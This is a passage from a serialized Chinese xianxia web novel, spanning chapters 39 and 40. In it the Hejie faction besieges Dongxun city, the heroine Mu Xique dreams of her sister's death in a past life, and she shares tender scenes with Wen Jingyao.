当年的一百七十三只祟种,毁了一半的十三州和海外仙岛,饿殍遍野,血流千里,在镇压秽毒后,先辈们用了上千年的时间才修葺完毕,重整旗鼓。 可如今,鹤阶和一些世家可以为了一己私欲,败德辱行,泯灭良知,使祭墟动荡,祟种再现,城池被毁,多少人家破人亡。 这条路太难走了,她不知道要死多少人,不知晓到底有多少家族和鹤阶勾结,她的敌人有多少,只觉得一眼看不到头。 “夕阙。” 有人轻轻唤她,声音清洌。 慕夕阙睁开眼,方才因疲惫弯了些的腰身再次挺直,她面无表情,看着远处燃起大火的外三城,看那只尚未消散的青鸾仍盘旋萦绕在主城上空,所过之处燃起大火,这是闻承禺的遗命,舍弃整个外三城。 闻惊遥握住她的手,看着那只青鸟:“青鸾的本体在雾璋山,如今是它的灵识,等这股生魂之力聚出的灵识消散,它便要回去了。” “闻承禺死后,它会认你,是吗?”慕夕阙问道。 “如今我尚未成长到可以挑起整个东浔,家主之位我目前无法承接。”闻惊遥开口,看向庄漪禾,“我父亲的意思,应当是由阿娘来暂代家主,若他和阿娘都战死,才会由我来。” 慕夕阙也看向庄漪禾,她孤身站在万人之前,仰头看着那只青鸾,这是闻家主的死亡才召唤出来的玉灵,是用无数个闻家弟子的魂力凝聚出的杀招。 庄漪禾看着它,仿佛看到闻承禺单手提刀,带着盈千累万的闻家弟子冲锋陷阵。 前世庄漪禾也死了,闻惊遥只剩自己一个人,纵使他那时身兼圣尊,与年少挚友断交,被她捅了一剑,多么艰难,也必须担上这个闻家家主。 慕夕阙不懂,为何闻承禺和庄漪禾出了那么大的事,十三州却并未走漏半点风声,闻惊遥仿佛无事发生一般,继续当自己的十三州圣尊。 如果真的遭了祟难,东浔主城乌泱泱百万人,又为何无一人往外说? 起码慕夕阙到死,都不知晓闻承禺和庄漪禾死了,东浔主城有这么多只祟种- 在看到青鸾盘旋直冲东浔主城上方时,白望舟几乎瞬间一掌击在了闻远鸿身上,将他重重砸飞,甩出去几十丈远。 他指着青鸾,目眦欲裂:“这就是你说的闻承禺没有后手?” 闻远鸿捂着胸口,呕出一口血,望向主城上方的青鸾,摇了摇头近乎自言自语:“不可能啊,我们特意在闻承禺的家主玉牌上下了禁制,他没办法联络青鸾的,何况如果要召唤青鸾,他必须在青鸾苏醒之时留下遗命,青鸾上次醒来是五年前——” 他顿了顿,忽然反应过来。 几十年前,闻承禺将家主玉牌分成了两枚,一枚给了庄漪禾。 五年前青鸾苏醒,闻承禺进了雾璋山一趟,对此说是去看望在清心观的闻惊遥,那一日确实是闻惊遥的生辰。 闻远鸿眼底赤红,狠狠瞪向东浔主城的方向:“他竟然——他竟然五年前便给青鸾下了遗命,他五年前就想好了要舍弃外三城,以及舍了他自己的命,他早便知道!” 这件事闻承禺甚至连庄漪禾都未告知,闻惊遥也不知晓,他在五年前便想过,若有这一日,以他之死召出青鸾,东浔玉灵会谨遵家主的遗命血洗外三城,荡平所有埋在东浔主城之下的祟种。 闻远鸿捂着胸口站起身,慌不择声:“闻承禺确实未与我说过这些事,他性子谨慎——” 话未说话,白望舟挥手,一把匕首从袖口飞出,直接捅穿了闻远鸿的心口。 白望舟看也不看倒地的闻远鸿,阴沉着脸:“他性子谨慎,你也确实无用。” 搭在担轿上的手攥紧,白望舟咬紧牙关,看那只青鸾鸟俯冲而下,将整个外三城用青火燃尽,与之一同毁灭的,还有鹤阶这些年辛苦造就的祟种。 祟种不是谁都可以当的,他们精挑细选,找出修为高、天资好、背景不强悍的人,失踪了也掀不起来多大风浪,且化成的祟种修为更强悍。 苦心经营了十余年,竟全数搭在了这里! 白望舟咬牙切齿:“闻、承、禺!” 千机宗一名长老走来,拱手道:“白长老,原先计划靠这十五只祟种屠城,鹤阶和千机宗再进去降服祟种,只要重创闻家便可,至于那些百姓杀一半留一半,百姓们家破人亡,定是会怨闻承禺不肯放咱们进城救援,可如今……” 如今他们留下的祟种已全数被青鸾击杀,除去闻家弟子死伤惨重外,百姓几乎没有伤亡,他们想用人心来打击重创闻家,似乎也行不通了。 况且闻承禺用死护佑东浔,他的死便是在东浔百姓心头燃起的一团火,这些百姓又岂会再被鹤阶迷惑? 白望舟攥紧手,捏得骨节生生作响,一字一句说道:“如今没有他法,若就此打道回府你我都活不了,折兵损将就落了个空,主子定饶不了我们。” 他阴沉盯着燃起青火的东浔主城,看了许久,而后又慢悠悠坐了回去,淡声道:“付出这么多,总得收点利息吧,咱们埋的不是还有秽毒?” 千机宗长老愣了愣,听明白他的话,倏然抬眸音量拔高:“不可!若放出秽毒,这座城起码有一半都会感染,届时满城的祟种,我们如何控制局面——” 白望舟轻飘飘看他一眼,那一眼便令那名长老噤若寒蝉,低眉顺目不敢再言。 “那就让东浔主城随着那些祟种一同消失,不就行了?”白望舟单手撑着侧脸,姿态慵懒,“去问问截杀慕家的人如何了,可别让朝蕴来坏咱们的事。” “是。” 千机宗长老领命下去之时,一颗心狂跳,他看着那些漠然的鹤阶弟子,他们的脸上尽是淡然,仿佛自己不是在造杀业,而是为民除害般。 覆灭闻家也就罢了,闻家这些年来树敌不少,且太过强盛,难保日后成长起来会威胁鹤阶地位。 可若是毁掉整个东浔主城…… 千机宗长老站定,回头看去,那占地万顷的东浔主城屹立在雾璋山下。 杀孽太重,恐遭业报- 青鸾在最后仰首啼鸣一声后,魂力聚成的灵体消散,东浔城外的火焰也慢慢减小。 庄漪禾淡声道:“祟种已除,鹤阶的人如今不敢进来,小夕,惊遥,你们先去疗伤。” “是。”闻惊遥颔首应下,牵起慕夕阙的手,将她带离。 他们走进闻家主宅,路上看到数个闻家弟子抬了竹架来来往往,大多是闻家弟子的尸身。 直到两人看到一个熟人。 慕夕阙道:“停一下。” 抬着竹架的两名闻家弟子领会,将竹架小心放下。 慕夕阙半蹲下来,盯着紧闭双眼的万初看了会儿,他的脖颈上有道可见骨头的伤,那身黑衣像是被血浸透了般,血不仅弄脏他的衣裳,还染上了他的白发,浑身是血。 闻惊遥将锦帕递来。 慕夕阙会意,接过锦帕,替万初擦去脸上的血迹,又擦掉他身侧那柄长刀上的血,随后将那块覆身的白布替他盖上。 慕夕阙站起身,说道:“走吧。” 她还看见了离蘅的尸身,被一刀断首。 慕夕阙别过头,不敢再看一眼,任由弟子抬着离蘅的尸身从她身侧经过,余光瞥见离蘅垂落下来的手,肌肤已成青灰色,腕间悬挂了个素雅的玉镯。 那是师盈虚十岁时送她的生辰礼,离蘅一直戴着,从未离身。 慕夕阙敢为万初擦拭血迹,却不敢碰离蘅一下,她甚至不敢看一眼她的死状。 她站在那里,望向远处满目疮痍的闻家主宅,她不知道师盈虚会不会怨她,不知道阿娘联系不上她会不会焦急,不知道鹤阶还有什么计谋。 她只是忽然觉得,有种要将她压垮的疲累,远比这浑身的伤让她难忍。 “夕阙。”闻惊遥轻声唤她。 慕夕阙并未回头,朝着画墨阁走去,说道:“我累了,我想睡会儿,若有异样你们即刻唤我。” 闻惊遥并未跟上,他看着她走远,那身他昨日送的云红鲛绡已破烂,和着她身上大大小小的伤痕,血将鲛绡染成了暗红色。 她每走一步,脚边便落下血迹,血滴了一路。 伤得这般重,她却一声不吭,眉头都未皱一下。 等她走远了,闻惊遥闭上眼,忽然长叹一声,他的脊背微弯,再也没办法挺直,抬起颤抖的手捂住眼睛,泪却流向下颌,混着他脸上的血迹滴落。 闻惊遥从小到大,除去婴孩时期,自打记事后无论修行再苦,伤痛再重也从未哭过,这十来年的两次落泪,一次为父亲,一次为心上人。 因为他的固执失去了父亲,因为他的无能让喜欢的姑娘受了一身的伤。 他只能近乎哽咽地说:“对不起……” 对不起父亲,对不起她- 慕夕阙回到画墨阁,这里并未被离蘅摧毁,仍旧如她离开时那般完整。 她有太多伤,不能沐浴,只能在水房脱去衣服,用布巾擦去血迹,对着铜镜上药,吞了许多止血化瘀的灵丹。 朝蕴离开之时,将慕家从淞溪带来的所有伤药都留给了她。 慕夕阙换了身衣裳躺在榻上,脖颈上由朝蕴送的家主护身玉符掩在衣领内,她抬手轻抚那块水滴模样的玉石,在之前她一直觉得这家主玉灵无用,否则前世朝蕴也不至于连尸骨都未留下。 但方才从外城一路往回跑的时候,那些祟种的利刃有几次砍在她的命门上,却又像被一股无形的力量化去了些力道,并未留下太过致命的伤,而闻惊遥远比她伤得更重。 这块玉石似乎是有用的。 慕夕阙摩挲着它,平躺在榻上,看着吊顶。 过了一会儿,她忽然轻叹了声,侧过身蜷起来,蒙上锦被,握紧那块家主护身玉坠,像是抱住了远在淞溪的母亲般。 这几日她没睡过几回好觉,这会儿仿佛再也撑不住了,几乎刚闭上眼,意识便糊涂起来。 慕夕阙梦到许多年前的事情,准确来说,是她上辈子的事了。 那时她三十二岁,刚从海外仙岛回到十三州。 她二十七岁时慕家灭门,慕夕阙以为所有人都死在了那场大火中,直到她在海外仙岛得知了慕从晚的事情,在慕家倒台的那夜,整个慕家只有一人存活。 鹤阶带走了慕从晚,关押在鹤阶地牢。 也正是因为慕从晚还活着,慕夕阙提前回了十三州,在回去后的第三个月,她和随泱闯了鹤阶。 随泱引开大部分鹤阶弟子,那夜下了一场大雨,慕夕阙驱动十二辰,将留守鹤阶的三十九位长老困于阵法内。 她孤身提剑,一人一剑闯了进去,从鹤阶正门一路杀到议事堂。 她和随泱算好了,闻惊遥不在鹤阶,他在东浔主城,因此他们两人才敢去营救。 慕夕阙颇为顺利闯进了鹤阶地牢,慕从晚便关押在那里。 凡人一生不过百年,那时的慕夕阙都已三十二岁,慕从晚已三十六,在鹤阶地牢关了五年,她没见过天光,皮肤呈现一种阴森的白。 在看到慕夕阙来时,慕从晚抬了抬眼眸,仿佛不认得她一般。 当慕夕阙半跪在地,近乎哽咽喊了她一声:“阿姐。” 慕从晚像是忽然有了神智,瞳眸微缩,一把推开慕夕阙:“谁让你回来的!快走,回你的海外仙岛!” 慕夕阙看着她,在被关押的这几年,慕从晚撞过墙,割过腕,所有能死的招她全都试过,可一个凡人在这些仙门之人的手段下,一颗丹药便能吊住她的命,鹤阶总能冷眼看她寻死,在她快死的时候又救回她,击碎她的希望。 在那一刻,慕夕阙只恨自己为何没早些来? 以至于慕从晚已经快疯了。 她背起慕从晚,不顾她的反抗,那时的她已至化神中境,修为高深,一个凡人的挣扎于她而言什么都不算。 在一路杀出去的时候,慕从晚似乎也累了,趴在她的背上,对她说:“小夕,你不该回来的,我寻死这么多次,便是为了不连累你。” 慕夕阙一边杀敌,一边咬牙回她:“你给我闭嘴!” 慕从晚的根骨已在这些年的数次自戕中伤得彻底,连说话都有些虚弱,她笑了笑,说道:“小夕,慕家灭门那晚,阿娘托人将我送下了山,是燕如珩将我抓回去带给鹤阶的,你不要再信他。” 在她刚说完这句话,慕夕阙已撕出围杀准备冲出鹤阶。 雨势太大了,雷光在不远处炸开,映出那道单手执剑,苍然萧条的身影,五年未见,闻惊遥已完全看不出往日的模样。 他沉稳冷静,目无表情,身子依旧挺拔笔直,模样也仍清俊似仙。 但偏偏,偏偏就是不像他了。 慕夕阙隔着一段路,背着长姐和闻惊遥对视。 他们上次见面,是在琼筵山上,她给了他一剑,此后五年未见。 闻惊遥看着她,幽静的眸子安静注视她,说道:“你应当知晓十三州在追杀你,为何要回来?” 那声音太轻了,被噼里啪啦的雨声掩盖大半,若非慕夕阙耳里过人,甚至听不清。 她冷声道:“滚开。” 闻惊遥长睫半垂,沉默了瞬,随后又淡淡抬起眸子看向她。 “她是祟,你不该带她走的。” 慕夕阙厉声道:“她是个凡人!” “是凡人,也是祟。”闻惊遥的情绪毫无波澜,他只是堵着她的路,并未动手,“她身上秽毒还在,无人敢赌。” “慕家一事蹊跷重重,鹤阶不查,任由我慕家满门惨死,冤屈无处可伸!我阿姐一介凡人,只因被秽毒侵染你们便要杀她,这世道还有何公平正义!” 面对她几乎崩溃的情绪,闻惊遥只是淡淡看着她,他看了她很久,那双漂亮的眼睛里似乎瞧不见往日的情分,只有他身为十三州圣尊的理智和冷静。 然后他说:“别再查了,慕家不死,鹤阶不存,十三州根基势必动摇,这便是因。” 慕从晚趴在慕夕阙的背上,忽然笑了几声,她从慕夕阙的脊背上挣扎下来,虚弱的身子被雨水淋湿,更显瘦削。 她看着闻惊遥,说道:“闻惊遥,是你辜负了我妹妹。” 随后,在慕夕阙尚未反应过来时,她倏然拔出慕夕阙的剑。 一个凡人求死的心是如此强烈,以至于可以胜过她羸弱的身躯,在那一刻迸发出无尽的决心,快过慕夕阙的手,骇然抹了自己的脖子。 温热的血溅在慕夕阙的脸上,慕从晚身子后仰,迎着慕夕阙惊骇的目光,看着她伸出的手,听着她近乎崩溃的哭喊。 “阿姐——” 慕从晚说:“小夕,别再查了,走得远远的,再也不要回十三州了。” 她跌下护栏,身子落进冰冷的湖水中。 慕夕阙几乎要疯了,翻上护栏便要往下跳,被匆匆赶来的随泱一把扯住,随泱带她离开,无视她的挣扎。 慕夕阙看到湖水淹没了慕从晚的白衣,她的长姐彻底沉入水中。 看到闻惊遥安静站在那里,雨水打在他身上,将那一身青衫浸透,他并未追上来,十三州圣尊不动,鹤阶弟子们也不敢动。 在被随泱拽走的最后,慕夕阙被泪水模糊的眼睛,对上了闻惊遥的双目。 他在她走的最后一刻看向她。 慕夕阙看不* 懂他眼底的情绪,那一刻她只觉得恨,无尽的恨意几乎吞噬了她,她恨不得将闻惊遥千刀万剐,她后悔五年前离开时没一剑捅穿他的心口。 这一场短暂的幻梦,在她睁眼之时,只觉得脸上一阵冰冷。 慕夕阙抬手轻碰,指腹上沾了凉透的泪水。 她竟然哭了? 慕夕阙皱眉,坐起身,像是泄愤般狠狠擦去脸上的泪,将一张白嫩的脸搓得通红。 哭什么,有什么好哭的,哭又解决不了问题。 眼泪是最无用的东西,这点道理她上辈子就深谙了,有时间落眼泪,不如去杀个仇人让心里痛快些。 慕夕阙坐在榻上,面无表情,搭在薄被上的手攥紧。 不仅闻惊遥,还有燕如珩,那个肮脏下贱的小人。 闻惊遥起码敢作敢当,从未使这些阴狠手段背后捅刀,燕如珩让她栽的跟头也不少。 只是她上辈子与闻惊遥接触太多了,他几乎追着她跑,她前脚在哪里杀了个人,后脚他便能追到那里,以至于慕夕阙总觉得这人是不是除了追她没有正事干? 以及她那些易容术,明明连随泱都能瞒过去,可她用易容术骗过闻惊遥一次后,在那之后,每次出现在闻惊遥面前,无论化成哪张脸,他愣是一眼就能认出来。 太过难缠,给她这条复仇路上使了不少绊子。 慕夕阙闭上眼,双腿屈起,胳膊肘抵在膝盖上,捂住自己的脸,长长吐了一口气。 她应当睡了很久,外头似乎已经正午,慕夕阙掀被下榻,披上外衫,刚打开殿门,瞧见院里坐了个人。 少年换了身洁净的青衣,脸色仍旧苍白,瞧着气色不太好,但总好过上午那副血人模样。 慕夕阙拢了拢外衫,随手系上腰封,淡声道:“闻少主现在变了不少呢,自打上次不敲门后,以后都不敲了。” 闻惊遥被她呛了一瞬,沉默了下,说道:“你在休息,我恐惊扰了你。” 慕夕阙走过去,坐在他身侧:“伤好些了吗?” “回去便用了药,好多了。”闻惊遥说道。 他看着她的脸,寸目不移,直勾勾盯着,慕夕阙皱了皱眉,问道:“看什么?” 闻惊遥薄唇抿了抿,开口问道:“夕阙,伤很疼吗?” 慕夕阙眉心一动,当他是关心,随口说道:“不疼,无事。” 这点伤对她来说尚在能忍的范畴内,上辈子她连双腿的骨头碎了都能撑着剑走,皮肉伤不算什么。 闻惊遥却看着她道:“你哭了。” 慕夕阙愣了下,近乎慌乱别过头,揉揉眼睛:“没哭,就是方才睡糊涂了,打了个哈欠。” 闻惊遥沉默不语。 慕夕阙不知道他信了没,她瞪过去,先发制人说道:“倒是你,怎么一醒就来我这里,如今闻家还被围着呢,你不担心?” “担心。”闻惊遥应道,“但也担心你。” 他太过实诚,反而让慕夕阙呛了下。 闻惊遥偏头过来,在她唇上轻吻了下,他抬手捧住她的脸,微凉的指腹触碰她的眼尾,紧接着,少年在她的眼睛上轻轻亲了亲。 “夕阙,眼泪不是弱者的象征,是情绪的宣泄,哭了没什么的,我方才也哭了。” 闻惊遥的声音很轻,吻也很轻,轻轻吻在她的眼睛,鼻尖和唇上,又吻在她脖颈上的伤痕处。 “我几乎未哭过,可父亲死去,我喜欢的姑娘重伤,这些我都无能为力,你说,我是不是很无能?” 闻惊遥抱住她,将下颌搭在她的肩膀上,鼻尖轻抵她的脖颈,他闭上眼。 “夕阙,这样的我,你怎么会喜欢呢?” 慕夕阙面无表情,她由他抱着,感受他身上那股雪竹与草药混合的气息,他因修行的功法而常年微凉的体温,他规律有力的心跳。 “闻惊遥,我会喜欢一个弱者,一个性格固执死板的人,我喜欢的人不一定得多么强大多么聪慧,但你得知道,我绝不会喜欢一个伤害过我的人。” 闻惊遥抱紧她,他闻着她的体香,感受她的体温。 他一直在想,却始终想不明白的事情,他终于忍不住,在此刻问她:“夕阙,在我不知道的地方,我伤害过你,是吗?” “……我让你难过了,是吗?” 慕夕阙忽然笑了下:“没有,别多想,我们之间发生过什么事你不知道的吗?” 可闻惊遥并未松手,他仍旧搂着她的腰身,略有些黏人地抱着她,埋在她的颈窝中小声说:“如果我让你难过了,你记住,一定不要原谅我,不要对我心慈手软,你想做什么都可以,但不要委屈自己。” 慕夕阙没说话,她闭上眼。 她始终想不明白,年少这般喜欢她的少年,如何会变成那副模样? 她只是不明白,闻惊遥怎么会伤害慕夕阙呢? 作者有话说:明天大杀特杀!锤爆鹤阶! 今天这章有点卡,来晚了会儿,本章再发个红包[撒花] 第40章 第 40 章 破阵 外三城被青鸾的那一击摧毁八成, 残垣断壁,片瓦不存。 燕如珩走在街巷里,恍若无人, 唯独在路过一栋高楼前停了片刻,他抬眸看去, 目无情绪, 轮廓温润的双目中却尽是寒霜碎冰。 随后他穿过闻家外城玉灵,朝城外走去。 白望舟仍坐在担轿上,见燕如珩过来, 眉头一挑,扬声问道:“燕少主怎么舍得出来了,不是想留在里面寻机会杀了闻少主吗?” 燕如珩看了眼远处闻远鸿的尸身, 鹤阶弟子尚未清理, 他只撇了一眼便收回目光, 有弟子上前搬了把木椅, 他坐下, 淡淡看向东浔城内。 “闻惊遥有小夕相助,没那般容易杀。” 白望舟嗤笑了声:“一口一个小夕,我瞧着慕二小姐更心仪闻少主。” 燕如珩并未动怒, 神色平淡。 他不是没有觉察出慕夕阙的变化,那种隐约的疏离, 无论是她即将成婚所以避嫌, 又或者是单纯与他生分了,总之她变了。 过去的慕夕阙虽对他不如师盈虚那般亲近, 却也拿他当朋友,如今瞧着连朋友都不算了。 “燕少主这般心狠手辣,长兄能杀, 亲弟的性命也能为你的大业铺路,一个女子而已,偏偏就是放不下。”白望舟嗤了声,撑着下颌,“我们要放秽毒出来了,想好怎么保全慕二小姐的性命了吗?” “小夕不会那般轻易死的。”燕如珩笑了声,眸光渐深,“她身上有慕家的家主护体玉灵,那里面的玉灵之力会保她一命。” 只是此次攻城,慕夕阙定会重伤。 白望舟点点头:“也是,朝蕴连那枚玉坠都留给了慕夕阙,对这二女可极尽疼爱了。” 他说到这里,啧啧两声,摇了摇头:“那枚玉坠里的玉灵那般强悍,若慕峥当时戴着,谁能杀他?” 可慕峥将它给了朝蕴,朝蕴又将那只强悍到足以令十三州动荡的玉灵之力,留给了什么都不知道的慕夕阙,以至于慕二小姐如今似乎只当那是枚寻常的护身玉坠,连自己身上的玉灵是什么东西都不知晓。 他们看着东浔城内,看外三城的青火衰弱,直至平息。 怕是闻承禺也没想到,鹤阶敢摧毁整个东浔主城,青鸾这致命一击也未必能护得住整个东浔主城- 画墨阁内,仍旧静谧祥和,是难得的清净之地。 闻惊遥脊背上的伤从左肩一路劈到右侧后腰,皮肉绽开,闻家的丹药虽属上乘,却也不如慕家豪掷千金购来的药谷创药。 少年裸着上半身,端坐在竹榻上,慕夕阙在他身后为他上药,她倒是从容,但余光瞥了眼闻惊遥的耳根,红得要滴血了。 闻少主发疯的时候黏人得很,活生生一副无赖模样,抱着她又亲又啃的,但清醒的时候,又成了那个雅正如兰的闻小公子。 慕夕阙淡声问:“怎么脸皮这般薄,这才哪里到哪里?” 闻惊遥没说话,他听出她在逗他。 替他处理好脊背的伤,慕夕阙取出纱布,俯身从他身前缠过来,她的侧脸紧挨着他,两人的呼吸交缠,闻惊遥动也不动,长睫半垂,不知道在看什么。 慕夕阙笑了一声,上下打量他,一点不脸红,说道:“闻少主瞧着清瘦,这些年的剑也是真的没白练。” 他身量高,生得宽肩窄腰,常年练剑,穿上衣裳看着瘦高,脱了衣裳又壁垒分明,瞧着格外有力量,身段不错。 她以为闻惊遥不会回她,毕竟某人的脸皮薄得跟纸一样,他这般容易害羞的小公子,慕夕阙倒是真的头一次见。 正要直起身不再逗他,闻惊遥忽然侧过脸,抬手搂住她的腰身。 慕夕阙拿着纱布,低头看了眼他箍在自己腰间的手:“干什么?” “夕阙。”闻惊遥喉口滚了滚,目光下移,落在她的唇上,几乎在慕夕阙刚猜出他要干什么,他就凑上前,含住她的唇吮了口,又轻轻柔柔地啄吻几下。 “我总有你喜欢的地方的,是吗?” 慕夕阙愣了下,对上他干净温和的眼眸,忽然反应过来,他说的是他的这张脸和这副身段。 “闻少主何时也会问这些话了?”慕夕阙凑上前,咬了咬他的唇,闷闷笑了笑,“那是自然,闻少主清姿卓绝,十三州谁不知晓,你自是好看的,我自然也喜欢好看的人。” “你喜欢就好。”闻惊遥应了声,抱住她的腰身用了些力道,慕夕阙被他捞到腿上侧坐,他将下颌抵在她的肩膀上,闭上眼睛。 “夕阙,别管伤了,不疼的,让我抱一会儿吧。” 慕夕阙没动,他的脑袋就搭在她的肩头,从她这个角度看去,闻惊遥根根分明的长睫微阖,盖在眼睑之上。 闻惊遥的骨相优越,五官生得也清绝,他这张脸确实好看,冷淡的脸上生了双略显漂亮的凤目,或许就是这双眼睛,让她上辈子觉得闻惊遥绝不会背叛她。 毕竟他看她的时候总是专注柔和的,少年萌动的喜欢既要克制,又总能从某个犄角旮旯里悄悄溢出来。 闻惊遥是很专情有耐心的人,无论慕二小姐给多少冷脸,身为世家子弟、生来尊贵的闻少主从不在乎,被她骂就道歉,被她揍就养养伤再来。 他在清心观的那些年,两人一年只能见三次,他也并不会说太多话,而是跟在她身侧,她说打架就打架,说摸鱼就摸鱼。 少年时的他对她太好了,以至于慕夕阙花了很久才说服自己,闻惊遥真的变了,这世上没有人是不会变的。 他抱了很久,呼吸也规律,慕夕阙恍惚间以为他睡着了。 她皱了皱眉,稍微动了动,闻惊遥便睁开了眼。 他看着她,额头蹭了蹭她的侧脸,轻声说道:“夕阙,还好你在。” 这毫无逻辑的一句话让慕夕阙愣了下,眉心微拧:“什么?” 闻惊遥靠在她肩头:“你在我身边,我就有勇气做很多事。” 他到如今能明白万初说的那句话了。 有个喜欢的人,他会有勇气、有力量做许多事。 如今东浔还被围着,他们仍在生死线边缘,可一想到她在身边,他毫无顾虑,愿意放手去搏,即使这会赌上自己的性命,但她在身边。 慕夕阙在他身边,这便好了。 闻惊遥放开她,说道:“夕阙,帮我缠上吧,一会儿应当还有场大战。” 慕夕阙红唇微抿,从他膝上起来,并未说话,沉默将绷带缠好,裹住他脊背那道血肉绽开的伤。 老实说这些时日,他身上就没囫囵过,慕夕阙也同样如此,二人身上的伤便没好过。 处理好伤,慕夕阙将从慕家带来的伤药塞给闻惊遥几瓶:“虽然没什么大用吧,能吊一会儿命也聊胜于无。” 闻惊遥应了声:“多谢。” 两人走出画墨阁,去到议事堂的时候,正午已过。 庄漪禾坐在主座,身旁另一个位置空着,她垂眸盯着地砖,似在发呆。 议事堂内还坐了三人,是闻家仅剩的长老了,未叛外贼,在昨日与祟种的对战中皆都重伤。 见他们二人来了,庄漪禾有了反应,抬眸看过去,撑起笑说道:“小夕,惊遥,可休息好了?” 闻惊遥道:“阿娘忧心。” 慕夕阙颔首:“嗯,已休息妥当。” 庄漪禾站起身,走过来拉住慕夕阙的手,叹了口气:“实在抱歉,小夕,本是来闻家做客的,谁料牵连你了。” 两家联姻如同一体,也说不上什么牵连,慕夕阙牵出笑。 庄漪禾道:“我们有五成的弟子去主城附近的村镇郡县疏散百姓了,如今城内弟子只有五成,战死了两成,只剩三成了。” 她顿了顿,说道:“鹤阶应当还未走,我不知他们接下来要做什么,若等不到援兵,东浔主城此难怕是难过。” 慕夕阙沉默了瞬,议事堂内过于寂静,无形的压抑锤在每个人心头。 片刻后,她开口道:“会有援兵的,我阿娘联系不上我定会怀疑,派出慕家暗桩来查探,只是鹤阶应当也会去截杀慕家。” 庄漪禾叹了口气:“慕家经商为主,兵力并不强盛,我总担心朝家主会被鹤阶缠住,怕是有危险。” 慕夕阙反握住她的手,说道:“不会的,您放心。” 庄漪禾眉宇间的忧愁并未减淡。 慕夕阙笑了下:“我们慕家有十二辰呢。” 庄漪禾瞬间抬起了眸子,几位闻家长老也看过来,闻惊遥眉心微拧。 “小夕,十二辰是圣物,岂能带出淞溪,何况你阿娘并不允许十二辰认你为主。”庄漪禾语调急促。 慕夕阙淡声道:“您放心,我阿娘是不允许,但总有人会说服她的。” 上辈子,便是慕从晚说服了朝蕴,才肯松口让十二辰认慕夕阙为主。 慕家长女性子沉稳,理性机敏,天资出众,若非当年遭小人暗害,如今慕家嫡传便是有两位天才,鹤阶也会忌惮几分。 慕夕阙看向议事堂外,外头天光大亮,若非空气中仍萦绕盘旋的木材燃烧后的气味,以及丝丝缕缕的血气,仿佛还是昨日那个平静安宁的东浔主城。 她沉声道:“他们会来的。” 慕家会来,师盈虚也会来,以及她刚救下的随泱。 若得知东浔有此难,她被困在这里,必定会来相救。 前世让她认清了许多人,她最了解他们的品行,皆是可以过命的人- 待东浔外三城最后一缕青火消失,白望舟抬了抬手,说道:“收回禁制,将秽毒放出来。” “是。” 弟子领命下去。 白望舟看着远处的东浔主城,问身后的人:“派去截杀慕家的人联络上了吗?” “并未。”弟子回道,“一个时辰前又传了次信,还未收到回信。” 白望舟蹙眉:“去了一位化神境的长老,两位元婴满境,还有上千名鹤阶弟子,拦不住一个慕家?慕家长老定要留守几个修为最高的守山,那两个化神境的慕家长老不是没来吗?” “是,淞溪鹤阶暗桩确实未见那两位长老出山。” 白望舟回身,瞧见端坐在椅中的燕如珩,问道:“燕少主与慕家来往亲近,可有听说慕家这两年有新的化神境长老?” 燕如珩微抬眼帘,淡声道:“并未,慕家只有两位化神境。” “奇了怪了,就两个化神境的长老还都留下守山了,单靠那些年轻弟子和朝蕴,就算再加上一个蔺九尘,我们鹤阶派出的兵力也是足够截杀的。”白望舟眉心越拧越紧,想到什么,眼眸一冷,“不会慕家带出十二辰了吧?” 燕如珩饮茶的动作顿住,抬眸看来:“朝蕴并不同意十二辰认小夕,且无主的神器无人能用,白长老不如想想是否有旁人相助?” 白望舟握紧担轿的负手,几乎要将那木桩掰断,冷着脸道:“除了那几个早该清理的家族自诩正直,敢回应慕家外,谁敢明面跟鹤阶作对?” 可他也想不明白,为何派去截杀慕家的人还未回信,若慕家来坏事可就难办了。 白望舟一拂宽袖,沉声道:“先布阵,待里面祟种出现后,便启动阵法绞杀东浔主城内的一切生灵!” “是!” 上千鹤阶弟子飞往东浔主城的各个方位,白望舟也站起身,悬立至虚空,祭出不渡刀,骇然的杀气笼罩整座城池。 随着一声声低沉的咒术念出,东浔主城地底浮现出径约万丈的金色圆盘,而东西南北、东南、西南、东北、西北八极的位置迸发出冲天的光柱,将整个东浔主城包围。 白望舟操纵弟子们加注给不渡刀的灵力越多,那些灵力聚成的天柱原先模糊的轮廓竟逐渐实化,愈发明显。 高悬于天的日头逐渐被遮蔽,东浔百姓们仰头看去,八根天柱拔地而起。 八极阵,至高杀阵,靠鹤阶圣物不渡刀布阵,是鹤阶用来除祟的阵术。 不渡刀是仅次于十二辰和天罡篆的圣物,以杀著名,不渡生灵,只斩妖邪。 而辅助不渡刀布阵的弟子们也几乎会掏空灵力,对身体造成重创,几乎是用命来布阵,鹤阶这次下了血本,牺牲颇多。 慕夕阙站在闻家主宅前,仰头看着从地方八极迸发的天柱逐渐实化,她神色冷淡,垂下的手无声攥紧。 这阵法她怎么会不熟悉呢? 果然这等宵小之辈连用的手段都一样,他们慕家当年灭门也是拜这八极阵所赐,鹤阶那时放了淞溪主城一马,只围杀了慕家主宅。 怕是当年剿灭灵翠谷陈家,也用的八极阵。 庄漪禾冷眼看着,说道:“鹤阶在布阵,竟然敢妄图覆灭整个东浔主城,不怕第二日天雷便劈到鹤阶吗!” 慕夕阙面无表情。 若这世上真有业报,前世他们慕家那一万多人身死,业报怎么没报到鹤阶和那些世家头上呢? 信这些,不如信自己能抗下这一遭。 可她也没想到,鹤阶真的敢这般丧心病狂,淞溪慕家不比东浔闻家在十三州的地位深固,且兵力也远不如闻家,因此鹤阶前世敢围杀慕家,但她却未曾想到鹤阶竟还敢覆灭东浔主城。 慕夕阙看向闻惊遥,他一贯淡然,如今也沉了脸色,执剑的手用力至骨节泛白。 事到如今,似乎只有一个办法了。 慕夕阙当即道:“不能让阵成,得阻止他们布阵。” 闻惊遥看着她,问道:“冲出去,是吗?” “嗯。”慕夕阙沉声回应,“冲出去搏一把,他们不是在东浔城外守着吗,守在这里是死,冲出去说不定还能活几个。” 庄漪禾皱眉:“不可,鹤阶的人必定不少,我们——” 闻惊遥却打断她:“阿娘,留两成弟子守城和照顾百姓,一成弟子随我和夕阙冲出去,若这阵布成了,我们所有人都难活。” 庄漪禾与他对视,交握在一起的手死死揪住,几乎要抠下自己的血肉。 她自是知晓这一去怕是九死一生。 “阿娘。”闻惊遥再次开口,“若父亲在这里,他不会坐以待毙。” 庄漪禾别过头,带了些气说道:“是,你父亲多果断,连自己的命说不要就不要,他也没想到鹤阶敢这般胆大吧!” 闻惊遥沉默,并未开口。 庄漪禾抬手擦去脸上的泪,看也不看他:“想去就去,你翅膀硬了我又管不住。” 